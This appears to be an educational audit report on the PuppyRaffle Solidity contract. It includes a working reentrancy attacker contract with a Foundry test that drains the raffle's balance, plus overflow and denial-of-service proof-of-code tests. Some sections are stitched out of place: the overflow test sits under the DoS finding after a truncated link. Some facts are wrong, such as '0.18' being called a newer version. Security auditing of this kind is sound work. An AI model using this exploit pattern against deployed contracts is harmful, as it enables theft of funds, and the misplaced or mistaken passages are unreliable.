WOLF WORLD
RUN

PuppyRaffle Audit Report

Version 1.0

wolfworldrun

January 25, 2024

PuppyRaffle Audit Report

wolfworldrun

January 24, 2024

Prepared by: Cyfrin Lead Auditors: - wolfworldrun

Table of Contents

Protocol Summary

This project is to enter a raffle to win a cute dog NFT. The protocol should do the following:

1. Call the `enterRaffle` function with the following parameters:
    1. `address[] participants`: A list of addresses that enter. You can use this to enter yourself multiple times, or yourself and a group of your friends.
2. Duplicate addresses are not allowed
3. Users are allowed to get a refund of their ticket & `value` if they call the `refund` function
4. Every X seconds, the raffle will be able to draw a winner and be minted a random puppy
5. The owner of the protocol will set a feeAddress to take a cut of the `value`, and the rest of the funds will be sent to the winner of the puppy.

Disclaimer

wolfworldrun makes all effort to find as many vulnerabilities in the code in the given time period, but holds no responsibilities for the findings provided in this document. A security audit by the team is not an endorsement of the underlying business or product. The audit was time-boxed and the review of the code was solely on the security aspects of the Solidity implementation of the contracts.

Risk Classification

		Impact		
		High	Medium	Low
	High	H	H/M	M
Likelihood	Medium	H/M	M	M/L
	Low	M	M/L	L

We use the CodeHawks severity matrix to determine severity. See the documentation for more details.

Audit Details

- Commit Hash: e30d199697bbc822b646d76533b66b7d529b8ef5

Scope

```
./src/
#-- PuppyRaffle.sol
```

Roles

Owner - Deployer of the protocol, has the power to change the wallet address to which fees are sent through the `changeFeeAddress` function. Player - Participant of the raffle, has the power to enter the raffle with the `enterRaffle` function and refund value through `refund` function.

Executive Summary

I had fun.

Issues found

Severity	Number of issues found
High	3
Medium	2
Low	1
Info	2
Gas	2
Total	10

Findings

High

[H-1] Reentrancy attack in `PuppyRaffle::refund` allows entrant to drain the raffle balance.

Description: The `PuppyRaffle::refund` function does not follow CEI (checks, effects, interactions) and as a result enables participants to drain the contract balance.

In the `PuppyRaffle::refund` functions, we first make an external call to the `msg.sender` address and only after making that external call do we update the `PuppyRaffle::players` array.

```
    function refund(uint256 playerIndex) public {
            address playerAddress = players[playerIndex];
            require(playerAddress == msg.sender, "PuppyRaffle: Only the
                player can refund");
            require(playerAddress != address(0), "PuppyRaffle: Player
               already refunded, or is not active");

@>            payable(msg.sender).sendValue(entranceFee);
@>            players[playerIndex] = address(0);
            emit RaffleRefunded(playerAddress);
        }
```

A player who enters the raffle could have a `fallback`/`receive` function that calls the `PuppyRaffle::refund` function again and claim another refund. They could continue the cycle till the contract balance is drained.

Impact: All fees paid by the raffle entrants could be stolen by the mailcious participant.

Proof of Concept:

1. User enters the raffle
2. Attacker creates a contract with a `fallback` function that calls `PuppyRaffle::refund`
3. Attacker enters the raffle
4. Attacker calls `PupprRaffle::refund` from the contract, draining contract balance.

Proof of Code:

Place the following into PuppyRaffleTest.t.sol

Code

```
        function test_reentrancyRefund() public {
            address[] memory players = new address[](4);
            players[0] = playerOne;
            players[1] = playerTwo;
            players[2] = playerThree;
            players[3] = playerFour;
            puppyRaffle.enterRaffle{value: entranceFee * 4}(players);

            ReentrancyAttacker attackerContract = new
                ReentrancyAttacker(puppyRaffle);
            address attackUser = makeAddr("attackUser");
            vm.deal(attackUser, 1 ether);

            uint256 startingAttackContractBalance = address(
                attackerContract).balance;
            uint256 startingContractBalance = address(puppyRaffle).
                balance;

            //attack
            vm.prank(attackUser);
            attackerContract.attack{value: entranceFee}();

            console.log("starting attcker contract balance:",
                startingAttackContractBalance);
            console.log("starting contract balance: ",
                startingContractBalance);

            console.log("Ending attacker contract balance:", address(
                attackerContract).balance);
            console.log("Ending contract balance:", address(puppyRaffle
                ).balance);
        }
```

And this contract as well.

```
        contract ReentrancyAttacker {
            PuppyRaffle puppyRaffle;
            uint256 entranceFee;
            uint256 attackerIndex;

            constructor(PuppyRaffle _puppyRaffle) {
                puppyRaffle = _puppyRaffle;
                entranceFee = puppyRaffle.entranceFee();
            }

            function attack() external payable {
                address[] memory players = new address[](1);
                players[0] = address(this);
                puppyRaffle.enterRaffle{value: entranceFee}(players);

                attackerIndex = puppyRaffle.getActivePlayerIndex(
                    address(this));
                puppyRaffle.refund(attackerIndex);
            }

            function _stealMoney() internal {
                if(address(puppyRaffle).balance >= entranceFee) {
                    puppyRaffle.refund(attackerIndex);
                }
            }

            fallback() external payable {
                _stealMoney();
            }

            receive() external payable {
                _stealMoney();
            }
        }
```

Reccomended Mitigation: To prevent this we should have the `PuppyRaffle::refund` function update the state `players` array before making the external call. Additionally, we should move the event emission up as well.

```
    function refund(uint256 playerIndex) public {
        address playerAddress = players[playerIndex];
        require(playerAddress == msg.sender, "PuppyRaffle: Only the player can refund");
        require(playerAddress != address(0), "PuppyRaffle: Player already refunded, or is not active");
+        players[playerIndex] = address(0);
+        emit RaffleRefunded(playerAddress);
        payable(msg.sender).sendValue(entranceFee);
-        players[playerIndex] = address(0);
-        emit RaffleRefunded(playerAddress);
    }
```

[H-2] Weak randomness in `PuppyRaffle::selectWinner` allows users to influence or predict the winner and influence or predict the winnning puppy

Description: Hashing `msg.sender`, `block.timestamp`, and `block.difficulty` together creates a predictable find number. A predicted number is not a good random number. Malicious users can manipulate these values or know them ahead of time to choose the winner of the raffle.

Note: This additionally means users could front-run this function and call `refund` if they are not the winner

Impact: ANy user can influence the winner of the raffle, winning the money and selecting the `rarest` puppy. Making the entire raffle worthless if it becomes a gas war as to who wins the raffle.

Proof of Concept 1. Validators can know ahead of time the `block.timestamp` and `block.difficulty` and use that to predict when/how to participate. See the Solidity blog on prevrandao.

`block.difficulty` was recently replaced with prevrandao. 2. Users can mine/manipulate their `msg.sender` value to result in their address being used to generate the winner! 3. Users can revert their `selectWinner` transaction if they don't like the resulting puppy or winner.

Using on-chain values as a randomness seed is a well documented attack in the blockchain space.

Recommended Mitigation Consider using a cryptography provable random number generator such as Chainlink VRF.

[H-3] Integer overflow of `PuppyRaffle::totalfees` loses fees.

Description: In solidity prio to version `0.8.0` integers were subject to integer overflows.

```
uint64 myVar = type(uint64).max
// 18446744073709551615
myVar = myVar + 1;
// myVar will be 0.
```

Impact: In `PuppyRaffle::selectWinner` `totalFees` are accumulated for the `feeAddress` to collect later and `PuppyRaffle::withdrawFees`. However, if the `totalFees` variable overflows the `feeAddress` may not collect the correct amount of fees, leaving fees permanently stuck in the contract.

Proof of Concept 1. We conclude a raffle of 4 players 2. We then have 89 players enter a new raffle, and conclude the raffle 3. `totalFees` will be

```
    totalFees = totalFees + uint64(fee);
    //aka
    totalFees = 800000000000000000 + 17800000000000000000
    // and this will overflow
    totalFees = 153255926290448384
```

4. You will not be able to withdraw, due to the line in `PuppyRaffle::withdrawFees`

```
        require(address(this).balance == uint256(totalFees), "
           PuppyRaffle: There are currently players active!");
```

Although you could use `selfdestuct` to send ETH to this contract in order for the values to match and withdraw the fees, this is clearly not the intended design of the protocol. At some point their will be too much `balance` in the contract that the above `require` will be impossible to hit.

Reccommended Mitigation There are a few possible mitigations.

1. Use a newer version of Solidity, and use `uint256` instead of `uint64` for `PuppyRaffle::totalFees`.

2. You could use the `safeMath` library of OpenZepplin for version 0.7.6 of solidity, however you would still have a hard time with the `uint64` type if too many fees are collected.
3. Remove the balance check from `PuppyRaffle::withdrawFees`

```
-   require(address(this).balance == uint256(totalFees), "PuppyRaffle:
    There are currently players active!");
```

There are more attack vectors with that final require, so we reccommend moving it regardless.

Medium

[M-1] Looping through players array to check for duplicates in `PuppyRaffle::enterRaffle` is a potential denial of service (DoS) attack, incrementing gas costs for future entrants.

Description: The `PuppyRaffle::enterRaffle` function loops through the `players`array to check for duplicates. However, the longer the `PuppyRaffle::players` array is, the more checks a new players will have to make. This means the gas costs for players who enter right when the raffle starts will be dramatically lower than those who enter later. Every additional address in the`players` array, is an additional check the loop will have to make.

```
     // @audit DoS attack
@>     for (uint256 i = 0; i < players.length - 1; i++) {
         for (uint256 j = i + 1; j < players.length; j++) {
             require(players[i] != players[j], "PuppyRaffle: Duplicate
                player");
         }
     }
```

Impact: The gas costs for a raffle entrants will greatly increase as more players enter the raffle. Discouraging later users from entering, and causing a rush at the start of the raffle causing a raffle to be one of the first entrants in the queue.

An attacker might make the `PuppyRaffle::entrants` array so big, that no one else enters, gauranteeing themselves the win.

Proof of Concept:

If we have 2 sets of 100 players, the gas costs will be as such:

- First 100 players: 6252048
- Second 100 players: 18068138

This is more than 3x more expensive for the second 100 players.

PoC

Place the following into `PuppyRaffleTest.t.sol`.

```
    function test_denialOfService() public {
        vm.txGasPrice(1);

        // Enter 100 players
        uint256 playersNum = 100;
        address[] memory players = new address[](playersNum);
        for(uint256 i = 0; i < playersNum; i++){
            players[i] = address(i);
        }

        // Check gas costs
        uint256 gasStart = gasleft();
        puppyRaffle.enterRaffle{value: entranceFee * players.length}(
           players);
        uint256 gasEnd = gasleft();

        uint256 gasUsedFirst = (gasStart - gasEnd) * tx.gasprice;
        console.log("Gas cost of the first 100 players:", gasUsedFirst)
           ;

        // Enter the second-hundred players
        address[] memory players2 = new address[](playersNum);
        for(uint256 i = 0; i < playersNum; i++){
            players2[i] = address(i + playersNum);  // Starts at 100
        }

        // Check gas costs
        uint256 gasStart2 = gasleft();
        puppyRaffle.enterRaffle{value: entranceFee * players2.length}(
           players2);
        uint256 gasEnd2 = gasleft();

        uint256 gasUsedSecond = (gasStart2 - gasEnd2) * tx.gasprice;
        console.log("Gas cost of the second hundred players:",
           gasUsedSecond);
    }
```

Recommended Mitigation: There are a few recommendations:

1. Consider allowing duplicates. Users can make a new wallet addresses anyways, so a duplicate check doesn't prevent the same person from entering multiple times, only the same wallet address.
2. Consider using a mapping to check for duplicates. This would allow constant time lookup of whether a user has already entered.

Alternatively, you could use [OpenZeppelin's `EnumerableSet` library] https://docs.openzeppelin.com/contracts/5.x/a

Code

```
    function testTotalFeesOverflow() public playersEntered {
            // We finish a raffle of 4 to collect some fees
            vm.warp(block.timestamp + duration + 1);
            vm.roll(block.number + 1);
            puppyRaffle.selectWinner();
            uint256 startingTotalFees = puppyRaffle.totalFees();
            // startingTotalFees = 800000000000000000

            // We then have 89 players enter a new raffle
            uint256 playersNum = 89;
            address[] memory players = new address[](playersNum);
            for (uint256 i = 0; i < playersNum; i++) {
                players[i] = address(i);
            }
            puppyRaffle.enterRaffle{value: entranceFee * playersNum}(
               players);
            // We end the raffle
            vm.warp(block.timestamp + duration + 1);
            vm.roll(block.number + 1);

            // And here is where the issue occurs
            // We will now have fewer fees even though we just finished
                a second raffle
            puppyRaffle.selectWinner();

            uint256 endingTotalFees = puppyRaffle.totalFees();
            console.log("ending total fees", endingTotalFees);
            assert(endingTotalFees < startingTotalFees);

            // We are also unable to withdraw any fees because of the
               require check
            vm.prank(puppyRaffle.feeAddress());
            vm.expectRevert("PuppyRaffle: There are currently players
               active!");
            puppyRaffle.withdrawFees();
        }
    ```
</details>

### [M-2] Smart contract wallets raffle winners without a `receive` or
   `fallback` function will block the start of a new contest.

Description: The `PuppyRaffle::selectWinner` is responsible for
   resetting the lottery. However if the winner is a smart contract
   wallet that rejects payment, the lottery would not be able to
   restart.

User could easily call the `selectWinner` function again and non-wallet
    entrants can enter, but it could cost a lot due to the duplicate
   check, and a lottery reset could get very challenging.
```
```

Impact: The `PuppyRaffle::selectWinner` function could revert many times making a lottery reset difficult.
Also, true winners would not get paid out and someone else could take their money.

Proof of Concept

1. 10 smart contract wallets enter the lottery without a fallback, or receive function.
2. The lottery ends.
3. The `selectWinner` function wouldn't work, even though the lottery is over!

Recommended Mitigation: There are a few options to mitigate this issue.

1. Do not allow smart contract wallet entrants (not recommended)
2. Create a mapping of addresses -> payout amounts so winners can pull their funds out themselves with a new `claimPrize` function, putting the owness on the winner to claim their prixe. (Recommended)
> Pull over push

## Low

### [L-1] `PuppyRaffle::getActivePlayerIndex` returns 0 for non-existant players and for players at index 0, causing a player at index 0 to incorrectly think they have not entered the raffle.

Description:
If a player is in `PuppyRaffle::players` array at index 0, this will return 0, but according to the natspec, it will also return 0 if the player is not in the array.

```javascript
    function getActivePlayerIndex(address player) external view returns (uint256) {
        for (uint256 i = 0; i < players.length; i++) {
            if (players[i] == player) {
                return i;
            }
        }
        return 0;
    }
```

Impact: A player at index 0 to incorrectly think they have not entered the raffle and attempt to enter the raffle again wasting gas.

Proof of Concept: 1. User enters the raffle, they are first entrant 2. `PuppyRaffle::getActivePlayerIndex` returns 0 3. User thinks they have not entered correctly due to the function documentation

Reccommended Mitigation: The easiest reccomendation would be to revert if the player is not in the array instead of returning 0.

You could also reserve the 0th position for any competition, but a better solution might be to return an `int256` where the function returns -1.

Gas

[G-1] Unchanged state variables should be declared constant or immutable.

Reading from storage is much more expensive than reading froma constant or immutable variable.

[G-2] Storage variables in a loop should be cached

Everytime you call `players.length` you read from storage, as opposed to memory which is more gas efficient.

```
+         uint256 playersLength = players.length;
-         for (uint256 i = 0; i < players.length - 1; i++) {
+         for (uint256 i = 0; i < playersLength - 1; i++) {
-             for (uint256 j = i + 1; j < players.length; j++) {
+             for (uint256 j = i + 1; j < playersLength; j++) {
                 require(players[i] != players[j], "PuppyRaffle:
                     Duplicate player");
             }
         }
```

Instances: - `PuppyRaffle::raffleDuration` should be `immutable` - `PuppyRaffle::constantImageUri` should be `constant` - `PuppyRaffle::rareImageUri` should be `constant` - `PuppyRaffle::legendaryImageUri` should be `constant`

Informational/Non-Critical

[I-1] Solidity pragma should be specific, not wide.

Consider using a specific version of solidity in your contracts instead of a wide version. For example, instead of `pragma solidity ^0.8.0`, use `pragma solidity 0.8.0`

- Found in srs/PuppyRaffle.sol: 32:23:35

[I-2] An outdated Solidity version is not reccomended

Please use a newer version like 0.18

Solc frequently releases new compiler versions. Using an old version prevents access to new Solidity security checks. We also recommend avoiding complex pragma statement.

Recommendation: Deploy with any of the following Solidity versions:

`0.8.18` The recommendations take into account: - Risks related to recent releases - Risks of complex code generation changes - Risks of new language features - Risks of known bugs

Please see Slither documentation for more information.

[I-3]: Missing checks for `address(0)` when assigning values to address state variables

Assigning values to address state variables without checking for `address(0)`.

- Found in src/PuppyRaffle.sol 8662:23:35
- Found in src/PuppyRaffle.sol 3165:24:35
- Found in src/PuppyRaffle.sol 9809:26:35

[I-4]: `PuppyRaffle::selectWinner` should follow CEI, which is not a best practice.

It's best to keep code clean and follow CEI (Checks, Effects, Interactions).

```
-        (bool success,) = winner.call{value: prizePool}("");
-        require(success, "PuppyRaffle: Failed to send prize pool to winner");
         _safeMint(winner, tokenId);
+        (bool success,) = winner.call{value: prizePool}("");
+        require(success, "PuppyRaffle: Failed to send prize pool to winner");
```

[I-5]: Use of "magic numbers" is discouraged.

It can be confusing to see number literals in a codebase, and it's much more readable if the numbers are given a name.

Examples:

```
        uint256 prizePool = (totalAmountCollected * 80) / 100;
        uint256 fee = (totalAmountCollected * 20) / 100;
```

Instead, you could use:

```
uint256 public constant PRIZE_POOL_PERCENTAGE = 80;
uint256 public constant FEE_PERCENTAGE = 20;
uint256 public constant POOL_PERCENTAGE = 100;
```

// template: https://github.com/Cyfrin/audit-report-templating/blob/main/report-example.md